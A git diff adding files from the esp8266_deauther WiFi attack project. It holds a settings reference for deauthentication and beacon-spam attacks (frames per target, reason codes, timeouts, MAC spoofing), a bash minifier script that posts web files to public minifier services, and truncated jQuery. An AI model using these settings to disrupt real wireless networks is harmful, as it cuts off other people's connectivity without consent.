true` +Enables echo for each incoming message over serial. + +## WEB-INTERFACE +`bool webInterface = false;` +Enables web interface. + +## WEB-SPIFFS +`bool webSpiffs = false` +Enables SPIFFS for all web files. +Can lead to longer loading times but it nice if you need to edit the web files regularly. + +## LEDENABLED +`bool ledEnabled = true` +Enables the (RGB) LED feature. + +## MAX-CH +`uint8_t maxCh = 13;` +Max channel to scan on. +US = 11, EU = 13, Japan = 14. +For more information click [here](https://en.wikipedia.org/wiki/List_of_WLAN_channels). + +## MACAP +`uint8_t* macAP;` +Mac address used for the access point mode. +Please note that the mac address will only replace the internal mac address when the accesspoint mode is enabled. +You can set a random mac address with `set macap random`. + +## MACST +`uint8_t* macSt;` +Mac address used for the station mode. +Please note that the mac address will only replace the internal mac address when the station mode is enabled. +You can set a random mac address with `set macst random`. + +## CH-TIME +`uint16_t chTime = 384;` +Time for scanning one channel before going to the next in milliseconds (only if channel hopping is enabled). + +## MINDEAUTHS +`uint16_t minDeauths = 3` +Minimum number of deauthentication frames when scanning to change the LED to deauth mode. + +## ATTACKTIMEOUT +`uint32_t attackTimeout = 600` +After what amount of time (in seconds) the attack will stop automatically. +Set it to 0 to disable it. + +## FORCE-PACKETS +`uint8_t forcePackets = 1;` +How many attempts to send out a packet. +Set this value higher if you want to achieve a better packet rate in a busy area. +Be careful this setting could make the device slower or more unstable. +**Max value is 255**. + +## DEAUTHS-PER-TARGET +`uint16_t deauthsPerTarget = 10;` +How many deauthentication and disassociation frames are sent out for each target. + +## DEAUTH-REASON +`uint8_t deauthReason = 1;` +The [reason code](https://www.cisco.com/assets/sol/sb/WAP371_Emulators/WAP371_Emulator_v1-0-1-5/help/Apx_ReasonCodes2.html) that is sent with the deauth frames to tell the target device why the connection will be closed. + +## BEACON-CHANNEL +`bool beaconChannel = false;` +If enabled, will sent all beacon and probe frames on different channels when running a beacon attack. + +## BEACON-INTERVAL +`bool beaconInterval = false;` +If set true, beacons will be sent out every second. If set to false, the interval will be 100ms. +A longer interval means more stability and less spamming of packets, but it could take longer +until the clients find the ssids when scanning. + +## RANDOMTX +`bool randomTX = false` +Enables randomized transmission power for sending out beacon and probe request frames. + +## PROBESPERSSID +`uint8_t probesPerSSID = 1` +How many probe request frames are sent for each SSID. diff --git a/enp8266/esp8266_deauther-master/utils/old_web_converter/convert_all.sh b/enp8266/esp8266_deauther-master/utils/old_web_converter/convert_all.sh new file mode 100755 index 0000000..2588b3d --- /dev/null +++ b/enp8266/esp8266_deauther-master/utils/old_web_converter/convert_all.sh @@ -0,0 +1,57 @@ +#!/bin/bash + +# +# This script walks through the html folder and minify all JS, HTML and CSS files. It also generates +# the corresponding constants that is added to the data.h file on esp8266_deauther folder. +# +# @Author Erick B. Tedeschi < erickbt86 [at] gmail [dot] com > +# + +outputfile="$(pwd)/data_h_temp" + +rm $outputfile + +function minify_html_css { + file=$1 + curl -X POST -s --data-urlencode "input@$file" http://html-minifier.com/raw > /tmp/converter.temp +} + +function minify_js { + file=$1 + curl -X POST -s --data-urlencode "input@$file" https://javascript-minifier.com/raw > /tmp/converter.temp +} + +function ascii2hexCstyle { + file_name=$(constFileName $1) + result=$(cat /tmp/converter.temp | hexdump -ve '1/1 "0x%.2x,"') + result=$(echo $result | sed 's/,$//') + echo "const char data_${file_name}[] PROGMEM = {$result};" +} + +function constFileName { + extension=$(echo $1 | egrep -io "(css|js|html)$" | tr "[:lower:]" "[:upper:]") + file=$(echo $1 | sed 's/\.css//' | sed 's/\.html//' | sed 's/\.js//' | sed 's/\.\///' | tr '/' '_' | tr '.' '_') + echo $file$extension +} + + +cd html +file_list=$(find . -type f) + +for file in $file_list; do + echo "Processing: $file" + if [[ "$file" == *.js ]]; then + echo "-> JS minifier" + minify_js $file + ascii2hexCstyle $file >> $outputfile + elif [[ "$file" == *.html ]] || [[ "$file" == *.css ]]; then + echo "-> HTML and CSS minifier" + minify_html_css $file + ascii2hexCstyle $file >> $outputfile + else + echo "-> without minifier" + cat $file > /tmp/converter.temp + ascii2hexCstyle $file >> $outputfile + fi + sleep 1 +done diff --git a/enp8266/esp8266_deauther-master/utils/old_web_converter/converter.html b/enp8266/esp8266_deauther-master/utils/old_web_converter/converter.html new file mode 100755 index 0000000..ecb8117 --- /dev/null +++ b/enp8266/esp8266_deauther-master/utils/old_web_converter/converter.html @@ -0,0 +1,71 @@ + + + + + Byte Converter + + + + + + + + + + + +
+ +
+
+

Text to Byte Array Converter

+

+ Please use HTMLCompressor (or something similar) first to get your HTML, CSS and JS minified.
+ Every saved byte can improve the stability of the ESP8266's webserver! +

+
+
+
+
+ +
+
+ +
+
+
+
+ +
+
+
+
+

Length: 0 Bytes

+
+
+ +
+ + + + diff --git a/enp8266/esp8266_deauther-master/utils/old_web_converter/jquery-3.2.1.min.js b/enp8266/esp8266_deauther-master/utils/old_web_converter/jquery-3.2.1.min.js new file mode 100755 index 0000000..644d35e --- /dev/null +++ b/enp8266/esp8266_deauther-master/utils/old_web_converter/jquery-3.2.1.min.js @@ -0,0 +1,4 @@ +/*! jQuery v3.2.1 | (c) JS Foundation and other contributors | jquery.org/license */ +!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b||d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(f.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(a<0?b:0);return this.pushStack(c>=0&&c0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=function(a,b){for(var c=0,d=a.length;c+~]|"+K+")"+K+"*"),S=new RegExp("="+K+"*([^\\]'\"]*?)"+K+"*\\]","g"),T=new RegExp(N),U=new RegExp("^"+L+"$"),V={ID:new RegExp("^#("+L+")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"|[*])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+K+"*(even|odd|(([+-]|)(\\d*)n|)"+K+"*(?:([+-]|)"+K+"*(\\d+)|))"+K+"*\\)|)","i"),bool:new RegExp("^(?:"+J+")$","i"),needsContext:new RegExp("^"+K+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+K+"*((?:-\\d)?\\d*)"+K+"*\\)|)(?=[^-]|$)","i")},W=/^(?:input|select|textarea|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da-f]{1,6}"+K+"?|("+K+")|.)","ig"),aa=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:d<0?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ba=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ca=function(a,b){return b?"\0"===a?"\ufffd":a.slice(0,-1)+"\\"+a.charCodeAt(a.length-1).toString(16)+" ":"\\"+a},da=function(){m()},ea=ta(function(a){return a.disabled===!0&&("form"in a||"label"in a)},{dir:"parentNode",next:"legend"});try{G.apply(D=H.call(v.childNodes),v.childNodes),D[v.childNodes.length].nodeType}catch(fa){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s=b&&b.ownerDocument,w=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==w&&9!==w&&11!==w)return d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(l[2])return G.apply(d,b.getElementsByTagName(a)),d;if((f=l[3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.setAttribute("id",k=u),o=g(a),h=o.length;while(h--)o[h]="#"+k+" "+sa(o[h]);r=o.join(","),s=$.test(a)&&qa(b.parentNode)||b}if(r)try{return G.apply(d,s.querySelectorAll(r)),d}catch(x){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(P,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("fieldset");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&a.sourceIndex-b.sourceIndex;if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.parentNode&&b.disabled===!1?"label"in b?"label"in b.parentNode?b.parentNode.disabled===a:b.disabled===a:b.isDisabled===a||b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function qa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return!!b&&"HTML"!==b.nodeName},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),v!==n&&(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Y.test(n.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}}):(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value===a)return[f];e=b.getElementsByName(a),d=0;while(f=e[d++])if(c=f.getAttributeNode("id"),c&&c.value===a)return[f]}return[]}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){if("undefined"!=typeof b.getElementsByClassName&&p)return b.getElementsByClassName(a)},r=[],q=[],(c.qsa=Y.test(n.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+K+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+K+"*(?:value|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){a.innerHTML="";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"*[*^$|!~]?="),2!==a.querySelectorAll(":enabled").length&&q.push(":enabled",":disabled"),o.appendChild(a).disabled=!0,2!==a.querySelectorAll(":disabled").length&&q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Y.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"*"),s.call(a,"[s!='']:x"),r.push("!=",N)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Y.test(o.compareDocumentPosition),t=b||Y.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?la(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(S,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&C.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.escape=function(a){return(a+"").replace(ba,ca)},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(_,aa),a[3]=(a[3]||a[4]||a[5]||"").replace(_,aa),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return V.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&T.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(_,aa).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+K+")"+a+"("+K+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:!b||(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(O," ")+" ").indexOf(c)>-1:"|="===b&&(e===c||e.slice(0,c.length+1)===c+"-"))}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=I(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(P,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(_,aa),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return U.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(_,aa).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:oa(!1),disabled:oa(!0),checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:pa(function(){return[0]}),last:pa(function(a,b){return[b-1]}),eq:pa(function(a,b,c){return[c<0?c+b:c]}),even:pa(function(a,b){for(var c=0;c=0;)a.push(d);return a}),gt:pa(function(a,b,c){for(var d=c<0?c+b:c;++d1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function va(a,b,c){for(var d=0,e=b.length;d-1&&(f[j]=!(g[j]=l))}}else r=wa(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)})}function ya(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ta(function(a){return a===b},h,!0),l=ta(function(a){return I(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];i1&&ua(m),i>1&&sa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(P,"$1"),c,i0,e=a.length>0,f=function(f,g,h,i,k){var l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=E.call(i));u=wa(u)}G.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&ga.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=ya(b[c]),f[u]?d.push(f):e.push(f);f=A(a,za(e,d)),f.selector=a}return f},i=ga.select=function(a,b,c,e){var f,i,j,k,l,m="function"==typeof a&&a,n=!e&&g(a=m.selector||a);if(c=c||[],1===n.length){if(i=n[0]=n[0].slice(0),i.length>2&&"ID"===(j=i[0]).type&&9===b.nodeType&&p&&d.relative[i[1].type]){if(b=(d.find.ID(j.matches[0].replace(_,aa),b)||[])[0],!b)return c;m&&(b=b.parentNode),a=a.slice(i.shift().value.length)}f=V.needsContext.test(a)?0:i.length;while(f--){if(j=i[f],d.relative[k=j.type])break;if((l=d.find[k])&&(e=l(j.matches[0].replace(_,aa),$.test(i[0].type)&&qa(b.parentNode)||b))){if(i.splice(f,1),a=e.length&&sa(i),!a)return G.apply(c,e),c;break}}}return(m||h(a,n))(e,b,!p,c,!b||$.test(a)&&qa(b.parentNode)||b),c},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("fieldset"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){if(!c)return a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){if(!c&&"input"===a.nodeName.toLowerCase())return a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(J,function(a,b,c){var d;if(!c)return a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);r.find=x,r.expr=x.selectors,r.expr[":"]=r.expr.pseudos,r.uniqueSort=r.unique=x.uniqueSort,r.text=x.getText,r.isXMLDoc=x.isXML,r.contains=x.contains,r.escapeSelector=x.escape;var y=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&r(a).is(c))break;d.push(a)}return d},z=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},A=r.expr.match.needsContext;function B(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()}var C=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i,D=/^.[^:#\[\.,]*$/;function E(a,b,c){return r.isFunction(b)?r.grep(a,function(a,d){return!!b.call(a,d,a)!==c}):b.nodeType?r.grep(a,function(a){return a===b!==c}):"string"!=typeof b?r.grep(a,function(a){return i.call(b,a)>-1!==c}):D.test(b)?r.filter(b,a,c):(b=r.filter(b,a),r.grep(a,function(a){return i.call(b,a)>-1!==c&&1===a.nodeType}))}r.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?r.find.matchesSelector(d,a)?[d]:[]:r.find.matches(a,r.grep(b,function(a){return 1===a.nodeType}))},r.fn.extend({find:function(a){var b,c,d=this.length,e=this;if("string"!=typeof a)return this.pushStack(r(a).filter(function(){for(b=0;b1?r.uniqueSort(c):c},filter:function(a){return this.pushStack(E(this,a||[],!1))},not:function(a){return this.pushStack(E(this,a||[],!0))},is:function(a){return!!E(this,"string"==typeof a&&A.test(a)?r(a):a||[],!1).length}});var F,G=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/,H=r.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||F,"string"==typeof a){if(e="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:G.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof r?b[0]:b,r.merge(this,r.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),C.test(e[1])&&r.isPlainObject(b))for(e in b)r.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}return f=d.getElementById(e[2]),f&&(this[0]=f,this.length=1),this}return a.nodeType?(this[0]=a,this.length=1,this):r.isFunction(a)?void 0!==c.ready?c.ready(a):a(r):r.makeArray(a,this)};H.prototype=r.fn,F=r(d);var I=/^(?:parents|prev(?:Until|All))/,J={children:!0,contents:!0,next:!0,prev:!0};r.fn.extend({has:function(a){var b=r(a,this),c=b.length;return this.filter(function(){for(var a=0;a-1:1===c.nodeType&&r.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?r.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?i.call(r(a),this[0]):i.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(r.uniqueSort(r.merge(this.get(),r(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function K(a,b){while((a=a[b])&&1!==a.nodeType);return a}r.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return y(a,"parentNode")},parentsUntil:function(a,b,c){return y(a,"parentNode",c)},next:function(a){return K(a,"nextSibling")},prev:function(a){return K(a,"previousSibling")},nextAll:function(a){return y(a,"nextSibling")},prevAll:function(a){return y(a,"previousSibling")},nextUntil:function(a,b,c){return y(a,"nextSibling",c)},prevUntil:function(a,b,c){return y(a,"previousSibling",c)},siblings:function(a){return z((a.parentNode||{}).firstChild,a)},children:function(a){return z(a.firstChild)},contents:function(a){return B(a,"iframe")?a.contentDocument:(B(a,"template")&&(a=a.content||a),r.merge([],a.childNodes))}},function(a,b){r.fn[a]=function(c,d){var e=r.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=r.filter(d,e)),this.length>1&&(J[a]||r.uniqueSort(e),I.test(a)&&e.reverse()),this.pushStack(e)}});var L=/[^\x20\t\r\n\f]+/g;function M(a){var b={};return 